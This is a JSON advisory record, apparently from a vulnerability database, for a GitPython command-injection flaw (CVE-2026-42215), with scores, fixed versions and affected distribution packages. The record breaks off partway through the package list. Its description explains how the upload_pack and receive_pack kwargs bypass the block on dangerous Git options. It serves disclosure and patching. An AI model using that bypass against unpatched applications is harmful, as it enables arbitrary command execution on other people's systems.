{"id":"CVE-2026-42215","aliases":["ALPINE-CVE-2026-42215","CLSA-2026-1784077479","DEBIAN-CVE-2026-42215","EUVD-2026-28411","GHSA-mv93-w799-cj2w","GHSA-rpm5-65cw-6hj4","MGASA-2026-0372","OESA-2026-2306","OESA-2026-2307","OESA-2026-2308","PYSEC-2026-2160","RHSA-2026:42078","RHSA-2026:42079","RHSA-2026:63385","RHSA-2026:74504","RHSA-2026:74505","RHSA-2026:74506","ROOT-APP-PYPI-CVE-2026-42215","ROOT-APP-PYPI-GHSA-mv93-w799-cj2w","SUSE-SU-2026:21813-1","SUSE-SU-2026:4072-1","UBUNTU-CVE-2026-42215","USN-8303-1","openSUSE-SU-2026:10758-1","openSUSE-SU-2026:20777-1"],"status":"published","title":"GitPython: Command injection via Git options bypass","description":"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00749,"percentile":0.5536,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-78"],"published":"2026-04-25T23:42:16Z","modified":"2026-11-03T06:33:02Z","fixes":[{"ecosystem":"PyPI","package":"gitpython","fixed_in":["3.1.50","3.1.47"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.23","package":"py3-gitpython","fixed_in":["3.1.49-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"py3-gitpython","fixed_in":["3.1.49-r0"],"sources":["osv"]},{"ecosystem":"TuxCare:PyPI","package":"gitpython","fixed_in":["3.1.31.post3+tuxcare"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"python-git","fixed_in":["3.1.30-1+deb12u3"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-git","fixed_in":["3.1.44-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-git","fixed_in":["3.1.50-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"GitPython","fixed_in":["3.1.46+aikido.5","3.1.46+aikido.12","3.1.46+aikido.11","3.1.46+aikido.13","3.1.46+aikido.6","3.1.46+aikido.7","3.1.46+aikido.8","3.1.46+aikido.9","3.1.46+aikido.10","3.1.47+aikido.8","3.1.49+aikido.2","3.1.47+aikido.9","3.1.47+aikido.1","3.1.47+aikido.2","3.1.47+aikido.3","3.1.49+aikido.3","3.1.47+aikido.4","3.1.49+aikido.4","3.1.47+aikido.5","3.1.47+aikido.6","3.1.47+aikido.7"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"python-git","fixed_in":["0.3.2~RC1-3ubuntu0.1~esm3"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"python-git","fixed_in":["1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-git","fixed_in":["2.1.8-1ubuntu0.1~esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"python-git","fixed_in":["3.0.7-1ubuntu0.1~esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-git","fixed_in":["3.1.24-1ubuntu0.1~esm3"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-git","fixed_in":["3.1.37-3ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:26.04:LTS","package":"python-git","fixed_in":["3.1.46-1ubuntu0.1~esm1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.49"},{"fixed":"3.1.50"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.30"},{"fixed":"3.1.47"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"py3-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.30"},{"fixed":"3.1.49-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"py3-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.30"},{"fixed":"3.1.49-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.31"},{"fixed":"3.1.31.post3+tuxcare"}]}],"versions":["3.1.31","3.1.31.post1+tuxcare","3.1.31.post2+tuxcare"]},{"source":"osv","ecosystem":"Debian:12","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.30-1+deb12u3"}]}],"versions":["3.1.30-1","3.1.30-1+deb12u2"]},{"source":"osv","ecosystem":"Debian:13","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.44-1+deb13u1"}]}],"versions":["3.1.44-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.50-1"}]}],"versions":["3.1.44-1","3.1.45-1","3.1.46-1"]},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.50"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.48","3.1.49","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9"]},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.30"},{"fixed":"3.1.47"}]}],"versions":["3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46"]},{"source":"osv","ecosystem":"Mageia:9","package":"python-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.50-1.mga9"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.49-1.oe2403"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.49-1.oe2403sp1"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.49-1.oe2403sp3"}]}],"bundled":3},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.30"},{"fixed":"3.1.47"}]}],"versions":["3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46"]},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.63-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.63-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.50-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.50-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"python3.12-urllib3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.0-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-base-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-event-stream-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-worker-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-hub","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.10.16-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-galaxy-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.10.16-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pulp-ansible","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.25.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pulp-container","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.19.12-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pysequoia","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pysequoia-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pysequoia-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-urllib3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.0-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"python3.12-urllib3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.0-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-base-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-event-stream-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-worker-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-hub","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.10.16-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-galaxy-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.10.16-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pulp-ansible","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.25.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pulp-container","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.19.12-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pysequoia","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pysequoia-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pysequoia-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-urllib3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.0-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-platform-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.11-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.14-3.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el10","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2:2.16.19-1.el10ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2:2.16.19-1.el10ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.6::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.63-2.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el10ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":14},{"source":"osv","ecosystem":"Red 